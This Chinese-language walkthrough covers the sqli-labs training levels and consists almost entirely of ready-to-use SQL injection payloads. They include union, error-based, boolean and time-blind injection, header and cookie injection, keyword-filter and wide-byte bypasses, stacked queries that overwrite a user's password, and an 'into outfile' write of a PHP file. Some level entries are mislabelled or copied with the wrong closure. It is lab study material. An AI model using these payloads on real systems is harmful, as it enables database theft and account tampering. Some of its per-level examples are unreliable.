主要是记下来了每关通过可以采用的注入方式,可能部分关卡的通关方式写的不全面,欢迎指出,具体的获取数据库信息请手动操作一下。
环境初始界面如下:
sql注入流程语句:
order by 3--+ #判断有多少列
union select 1,2,3--+ #判断数据显示点
union select 1,user(),database()--+ #显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3--+
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3--+ #查看账号密码信息
union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #报错注入,中间的database()可以替换上面的语句
and (length(database()))=8 #bool注入
less-1:基于单引号的字符型注入
注入点语句格式:id=1' and 1=1 -- #判断方式输入'和''两次的结果不一致,就可能是'闭合
less-2:布尔型注入
注入点语句格式:id=1 and 1=1 --+
less-3:基于')的字符型注入
注入点语句格式:id=1') and 1=1 --+ #根据第一关的判断方式基本可以断定和'有关,但是是失败的,然后就想到了)闭合
less-4:基于")字符型注入
注入点语句格式:id=1') and 1=1 --+ #测试回显数据时前面参数修改为0
对于这种只返回成功或失败的只能采取报错注入或bool注入的方式
注入点语句格式1:1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #报错注入
注入点语句格式2:1' and length(database())=8--+ #bool注入
less-6:基于"字符型的错误回显注入
注入点语句格式1:1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #报错注入
注入点语句格式2:1' and length(database())=8--+ #bool注入
less-7:文件读写注入
注入点语句格式:1')) UNION SELECT 1,"",3 into outfile "d:\upfine.php"--+
#需要开启数据库的写入权限,即secure_file_priv无属性值(不是NULL),可通过:show global variables like '%secure%';查看
8-less:基于'的布尔注入
注入点语句格式:1' and length(database())=8 --+ #对于这种只返回成功与否的可以考虑报错注入
9-less:基于'的时间盲注
注入点语句格式:1' and if(length(database())>3,sleep(5),1)--+ #sleep被过滤的时候可以通过具有一定计算时间的函数进行替代
10-less:基于"的时间盲注
注入点语句格式:1" and if(length(database())>3,sleep(5),1)--+ #sleep被过滤的时候可以通过具有一定计算时间的函数进行替代
11-less:基于'的POST型注入
注入点语句格式1:username:1' or '1'='1 passwd:1' or '1'='1
注入点语句格式2:username:1' or 1=1#
注入点语句格式3:username:\ passwd:or 1=1# #此原理利用的是转义服务端语句中的闭合符号成为name值的一部分
12-less:基于")的POST型注入
注入点语句格式1:username:1") or 1=1#
13-less:基于')的错误回显注入
注入点语句格式:username:1') union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#
14-less:基于"的报错注入
注入语句格式:username:1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#
15-less:基于'的延时注入和bool注入
注入语句格式1:username:admin' and if(length(database())>3,sleep(5),1)# #测试时用户名必须存在
注入语句格式2:username:1' or length(database())>3# #bool注入
16-less:基于")的延时注入和bool注入
注入语句格式1:username:admin") and if(length(database())>3,sleep(5),1)# #测试时用户名必须存在
注入语句格式2:username:1") or length(database())>3# #bool注入
17-less:基于'的密码报错注入和bool注入
注入语句格式1:uname:admin passwd:12' where length(database())>3# #bool注入
注入语句格式2:uname:admin passwd:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))# #报错注入
这一个关卡需要登录成功才会显示user-agent信息(审计源代码信息)
注入语句格式1:User-Agent: ',updatexml(1,concat(0x7e,database(),0x7e),1),1)#或者',1,updatexml(1,concat(0x7e, database(),0x7e),1))# #报错注入,主要是形成insert语句的闭合
注入语句格式2:User-Agent: ',1,if(length(database())>3,sleep(10),1))# #延时注入
19-less:基于'的Referer:报头文报错注入
注入语句格式1:Referer:',updatexml(1,concat(0x7e,database(),0x7e),1))# #报错注入
注入语句格式2:Referer:',if(length(database())>3,sleep(10),1))# #延时注入
20-less:基于'的cookie报错注入和延时注入
注入语句格式1:Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1))# #报错注入
注入语句格式2:Cookie: uname=admin' and if(length(database())>3,sleep(10),1)# #延时注入
需要对代码进行审计,在代码中发现对cookee获取的数据进行解码后直接带入了查询,代码信息如下:
主语语句格式1:Cookie:uname=') union select 1,2,3# payload:Cookie:uname=JykgdW5pb24gc2VsZWN0IDEsMiwzIw== #联合注入
注入语句格式2:Cookie: uname=') and (updatexml(1,concat(0x7e,user(),0x7e),1))# payload:Cookie:uname=JykgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx1c2VyKCksMHg3ZSksMSkpIw== #报错注入
同样是审查源代码,步骤同21-less。
主语语句格式1:Cookie:uname=" union select 1,2,3# payload:Cookie:uname= #联合注入
注入语句格式2:Cookie: uname=" and (updatexml(1,concat(0x7e,user(),0x7e),1))# payload:Cookie:uname=IiBhbmQgKHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHVzZXIoKSwweDdlKSwxKSkj #报错注入
23-less:过滤注释符#和--+的GET型注入
注入语句格式1:Cookie:uname=0' union select 1,2,'3 #联合注入 这里注意下第三个参数返回值就是'内的值,而非执行的结果
24-less:环境错误,一直出来修改密码界面,先放一放
25-less:过滤or和and的单引号注入
注入语句格式1:0' union select 1,2,3--+ #涉及到or和and的双写绕过即可:payload:1' anandd 1=1--+或2 oorr 1=1
注入语句格式2:1'anandd((length(database())>3))anandd'1'='1 #bool注入
注入语句格式3:1'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1 #延时注入
注入语句格式4:0'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1 #报错注入
25a-less:过滤or和and的数字型注入
注入语句格式1:0 union select 1,2,3--+ #涉及到or和and的双写绕过即可:payload:1 anandd 1=1--+或2 oorr 1=1
注入语句格式2:1%a0anandd((length(database())>3))anandd%a01=1 #bool注入
注入语句格式3:1%a0anandd(if(length(database())>3,sleep(10),1))anandd%a01%a0=%a01 #延时注入
注入语句格式4:0%a0anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd%a01%a0=%a01 #报错注入
26-less:基于'过滤注释、空格、or、and、--、#等的注入
注入语句格式1:2'oorr'1'='1 #确定注入点,注意第一个数字是2,返回的确实数字为1的结果,所以后面语句生效
注入语句格式2:0'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1 #报错注入
注入语句格式3:1'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1 #延时注入
注入语句格式4:1'anandd((length(database())>3))anandd'1'='1 #bool注入
26a-less:基于')过滤注释、空格、or、and、--、#等的注入
注入语句格式1:1')anandd(if(length(database())>3,sleep(10),1))anandd('1')=('1 #延时注入
注入语句格式2:1')union%a0select%a01,2,3%a0anandd('1')=('1 #联合注入
注入语句格式3:1')anandd((length(database())>3))anandd('1')=('1 #bool注入
27-less:基于'过滤union、select、注释、空格等的注入
注入语句格式1:0'and(updatexml(1,concat(0x7e,user(),0x7e),1))and'1'='1 #报错注入
注入语句格式2:1'and(if(length(database())>3,sleep(10),1))and'1'='1 #延时注入
注入语句格式3:1'and((length(database())>3))and'1'='1 #bool注入
注入语句格式4:0'%a0ununionion%a0selselectECT%a01,2,'3 #联合注入
27a-less:基于"过滤union、select、注释、空格等的注入
注入语句格式:1"and((length(database())>3))and"1"="1 #bool注入
注入语句格式2:1"and(if(length(database())>3,sleep(10),1))and"1"="1 #延时注入
28-less:基于')过滤空格的注入
注入语句格式1:0')union%a0select%a01,2,('3 #联合注入
注入语句格式2:1')and((length(database())>3))and('1')=('1 #bool注入
28a-less:基于')过滤空格的注入
注入语句格式1:0')union%a0select%a01,2,('3 #联合注入
注入语句格式2:1')and((length(database())>3))and('1')=('1 #bool注入
29、30、31关卡需要先搭建jsp环境
29-less:基于'的http请求的参数污染注入
注入语句格式1:?id=1&id=0' union select 1,2,3--+ #联合注入
注入语句格式2:?id=1&id=0'and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
30-less:基于"的http请求的参数污染注入
注入语句格式1:?id=1&id=0" union select 1,2,3--+ #联合注入
31-less:基于")的http请求的参数污染注入
注入语句格式1:?id=1&id=0") union select 1,2,3--+ #联合注入
32-less:宽字节注入:源于程序员设置MySQL连接时的错误配置(set character_set_client=gbk,导致%df%27变成了運)
注入语句格式1:?id=-1%df' union select 1,2,3--+ #宽字节注入
33-less:get型宽字节注入(addslashes函数过滤)
注入语句格式1:?id=-1%df' union select 1,2,3--+ #宽字节注入
34-less:post型宽字节注入
注入语句格式1:uname=a%df' union select 1,2#&passwd=admin&submit=Submit #宽字节注入
说明:这里是根据页面是正常回显和报错来判断注入语句是否正确的
例如:
uname=a%df' order by 2 #&passwd=admin&submit=Submit #回显是攻击
uname=a%df' order by 3 #&passwd=admin&submit=Submit #回显是报错
35-less:数值型注入(对'等字符进行了转义,但是数值型注入与'无关)
注入语句格式1:?id=0 union select 1,2,3--+ #联合注入
36-less:宽字节注入(Bypass MySQL Real Escape String)
注入语句格式1:?id=0%df' union select 1,2,3--+ #宽字节注入
37-less:post宽字节注入(MySQL_real_escape_string)
注入语句格式1:uname=a%df' union select 1,2#&passwd=admin&submit=Submit #宽字节注入
说明:这里是根据页面是正常回显和报错来判断注入语句是否正确的
例如:
uname=a%df' order by 2 #&passwd=admin&submit=Submit #回显是攻击
uname=a%df' order by 3 #&passwd=admin&submit=Submit #回显是报错
38-less:基于'闭合的堆叠注入
注入语句格式1:?id=0%27union%20select%201,2,3--+ #联合注入
注入语句格式2:?id=1%27;update users set password='@upfine' where username='Dumb';--+ #堆叠注入 后面可替换sql语句
39-less:基于数字型的堆叠注入
注入语句格式1:?id=0 union%20select%201,2,3--+ #联合注入
注入语句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入 后面可替换sql语句
40-less:基于')闭合的堆叠注入
注入语句格式1:?id=0') union%20select%201,2,3--+ #联合注入
注入语句格式2:?id=1');update users set password='@upfine' where username='Dumb';--+ #堆叠注入
41-less:基于数字型的堆叠注入
注入语句格式1:?id=0 union select 1,2,3--+ #联合注入
注入语句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入
42-less:基于'闭合的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入
43-less:基于')闭合的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入
44-less:基于'闭合的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入
45-less:基于')的post提交方式的堆叠注入
注入语句格式1:login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入
46-less:order by函数基于数字型的注入
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入 延时时间为数据量*延时时间,因此可写0.2或0.3,下面相同关卡此处一样
注入语句格式2:?sort=updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
47-less:order by函数基于字符型'闭合的注入
注入语句格式1:?sort='updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
注入语句格式2:?sort=1'and if(length(database())>3,sleep(1),1)--+ #延时注入 可将判断条件换成substr(database(),1,1)='s'之类的
48-less:order by函数基于数字型的注入(去掉了报错回显)
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入 延时时间比写的时间长很多,原因同上
49-less:order by函数基于字符型'闭合的注入(去掉了报错回显)
注入语句格式1:?sort=1'and if(length(database())>3,sleep(1),1)--+ #延时注入 可将判断条件换成substr(database(),1,1)='s'之类的
50-less:order by基于数字的堆叠注入
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入
注入语句格式2:?sort=1 and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
注入语句格式3:?sort=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入
51-less:order by基于'闭合的堆叠注入
注入语句格式1:?sort=1' and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
注入语句格式2:?sort=1';update users set password='@upfine' where username='Dumb';--+ #堆叠注入
52-less:order by基于数字的堆叠注入(去掉报错注入)
注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入
注入语句格式2:?sort=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入
53-less:order by基于'闭合的堆叠注入(去掉报错注入)
注入语句格式1:?sort=1';update users set password='@upfine' where username='Dumb';--+ #堆叠注入
54-less:基于'闭合的union注入
注入过程
1'--+ #判断闭合方式
1' order by 3--+ #判断有多少列
0' union select 1,2,3--+ #判断数据显示点
0' union select 1,user(),database()--+ #显示出登录用户和数据库名
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0' union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+
55-less:基于)闭合的union注入
注入过程
1)--+ #判断闭合方式
1) order by 3--+ #判断有多少列
0) union select 1,2,3--+ #判断数据显示点
0) union select 1,user(),database()--+ #显示出登录用户和数据库名
0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0) union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+
56-less:基于')闭合的union注入
注入过程
1')--+ #判断闭合方式
1') order by 3--+ #判断有多少列
0') union select 1,2,3--+ #判断数据显示点
0') union select 1,user(),database()--+ #显示出登录用户和数据库名
0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0') union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+
57-less:基于"闭合的union注入
注入过程
1"--+ #判断闭合方式
1" order by 3--+ #判断有多少列
0" union select 1,2,3--+ #判断数据显示点
0" union select 1,user(),database()--+ #显示出登录用户和数据库名
0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
#查看对应表有哪些列
0" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0" union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+
58-less:基于'闭合得报错注入
注入过程
1'--+ #判断闭合方式
0' and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0' and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容
59-less:基于数字型得报错注入
注入过程
1--+#判断闭合方式
0 and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0 and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容
60-less:基于")闭合的报错注入
注入过程
1")--+#判断闭合方式
0") and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0") and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容
61-less:基于'))闭合的报错注入
注入过程
1'))--+#判断闭合方式
0')) and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
0')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0')) and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
#updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容
62-less:基于')闭合的bool注入
注入过程
1')--+#判断闭合方式
1') and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1') and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1') and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1') and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1') and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
#上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可
63-less:基于'闭合的bool注入
注入过程
1'--+#判断闭合方式
1' and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1' and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1' and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1' and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
#上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可
64-less:基于))闭合的bool注入
注入过程
1))--+#判断闭合方式
1)) and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1)) and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
#上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可
65-less:基于")闭合的bool注入
注入过程
1))--+#判断闭合方式
1)) and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
1") and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
#上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可
手机扫一扫
移动阅读更方便
你可能感兴趣的文章